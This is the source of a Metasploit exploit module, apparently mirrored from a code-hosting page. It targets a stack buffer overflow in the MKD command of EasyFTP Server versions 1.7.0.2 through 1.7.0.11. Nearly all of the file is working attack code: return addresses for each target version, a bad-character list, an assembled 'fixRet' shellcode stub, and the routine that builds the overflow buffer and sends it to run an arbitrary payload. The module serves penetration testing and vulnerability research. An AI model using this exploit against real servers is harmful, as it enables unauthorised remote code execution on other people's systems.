Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'EasyFTP Server MKD Command Stack Buffer Overflow',13'Description' => %q{14This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.1115and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which16leads to a stack based buffer overflow.1718NOTE: EasyFTP allows anonymous access by default. However, in order to access the19'MKD' command, you must have access to an account that can create directories.2021After version 1.7.0.12, this package was renamed "UplusFtp".2223This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.24This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by25'fixing' the return address post-exploitation. See references for more information.26},27'Author' =>28[29'x90c <geinblues[at]gmail.com>', # original version30'jduck' # port to metasploit / modified to use fix-up stub (works with bigger payloads)31],32'License' => MSF_LICENSE,33'References' =>34[35[ 'OSVDB', '62134' ],36[ 'EDB', '12044' ],37[ 'EDB', '14399' ]38],39'DefaultOptions' =>40{41'EXITFUNC' => 'thread'42},43'Privileged' => false,44'Payload' =>45{46'Space' => 512,47'BadChars' => "\x00\x0a\x0d\x2f\x5c",48'DisableNops' => true49},50'Platform' => 'win',51'Targets' =>52[53[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe54[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe55[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe56[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe57[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe58[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe59[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe60[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe61[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe62[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe63],64'DisclosureDate' => '2010-04-04',65'DefaultTarget' => 0))66end6768def check69connect70disconnect7172if (banner =~ /BigFoolCat/)73return Exploit::CheckCode::Detected74end75return Exploit::CheckCode::Safe76end7778def make_nops(num)79"C" * num80end8182def exploit83connect_login8485# NOTE:86# This exploit jumps to ebp, which happens to point at a partial version of87# the 'buf' string in memory. The fixRet below fixes up the code stored on the88# stack and then jumps there to execute the payload. The value in esp is used89# with an offset for the fixup.90fixRet_asm = %q{91mov edi,esp92sub edi, 0xfffffe1093mov [edi], 0xfeedfed594add edi, 0xffffff1495jmp edi96}97fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string9899buf = ''100101print_status("Prepending fixRet...")102buf << fixRet103buf << make_nops(0x20 - buf.length)104105print_status("Adding the payload...")106buf << payload.encoded107108# Patch the original stack data into the fixer stub109buf[10, 4] = buf[268, 4]110111print_status("Overwriting part of the payload with target address...")112buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes113114print_status("Sending exploit buffer...")115send_cmd( ['MKD', buf] , false)116117handler118disconnect119end120end121122123